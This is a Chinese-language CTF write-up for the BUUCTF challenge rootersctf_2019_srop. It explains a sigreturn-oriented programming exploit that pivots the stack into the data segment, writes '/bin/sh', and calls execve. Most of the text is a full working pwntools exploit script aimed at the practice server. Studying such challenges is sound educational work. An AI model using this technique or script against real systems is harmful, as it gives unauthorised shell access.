BUU-rootersctf_2019_srop-WP

Posted on Nov 28, 2020

只开了NX,只存在syscall的gadgets,基本上就是srop了。无非就是做两件事,注入"/bin/sh\x00"和执行execve的系统调用,我们发现在syscall前面存在pop rax所以execve是容易实现的,然后就是注入"/bin/sh\x00"

程序有一段大小足够的data段,所有我们可以考虑通过设置rsi至此来输入"/bin/sh"然后执行execve系统调用。

第一步先布置fake signal frame,之前rsp先被减了0x40,这里rsi=rsp+0x40+buf,所以偏移仍然是-buf。又在retn之前有一个leave,所以还要填8个字节的垃圾数据;同时布置fake signal frame还要多指定一个rbp,因为leave的时候等价于mov rsp,rbp pop rbp

sigframe = SigreturnFrame()                                          
sigframe.rax = constants.SYS_read                                    
sigframe.rdi = 0            #fd                                      
sigframe.rdx = 0x300       #conunt                                   
sigframe.rsi = data_seg_addr#buf                                     
sigframe.rsp = data_seg_addr                                         
sigframe.rbp = data_seg_addr                                         
sigframe.rip = syscall_leave_ret                                     
                                                                     
                                                                     
payload = 'a'*0x80 + 'b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15)  
payload += str(sigframe)                                             
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n",payload)
sleep(0.3)                                                             

这样就完成了栈迁移,然后我们只要再布置execve的signal frame并注入"/bin/sh\x00"就可以获得shell了。

最后的exp

from pwn import *                                                                          
                                                                                           
context(log_level = 'debug',arch = 'amd64',os = 'linux')                                   
                                                                                           
pop_rax_syscall_leave_ret = 0x401032                                                       
syscall_leave_ret = 0x401033                                                               
read_syscall_addr = 0x401021                                                               
data_seg_addr = 0x402000                                                                   
                                                                                           
#sh = process("./rootersctf_2019_srop")                                                    
sh = remote("node3.buuoj.cn","26669")                                                      
                                                                                           
sigframe = SigreturnFrame()                                                                
sigframe.rax = constants.SYS_read                                                          
sigframe.rdi = 0            #fd                                                            
sigframe.rdx = 0x300       #conunt                                                         
sigframe.rsi = data_seg_addr#buf                                                           
sigframe.rsp = data_seg_addr                                                               
sigframe.rbp = data_seg_addr                                                               
sigframe.rip = syscall_leave_ret                                                           
                                                                                           
                                                                                           
payload = 'a'*0x80 + 'b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15)                      
payload += str(sigframe)                                                                   
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n",payload)                    
sleep(0.3)                                                                                 
                                                                                           
                                                                                           
sigframe = SigreturnFrame()                                                                
sigframe.rax = constants.SYS_execve                                                        
sigframe.rdi = data_seg_addr + 0x150                                                       
sigframe.rip = syscall_leave_ret                                                           
sigframe.rsp = data_seg_addr + 24                                                          
sigframe.rsi = 0                                                                           
sigframe.rdx = 0                                                                           
                                                                                           
payload = ('b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15) + str(sigframe)).ljust(0x150,'a')
payload += "/bin/sh\x00"                                                                   
sh.sendline(payload)                                                                       
                                                                                           
sh.interactive()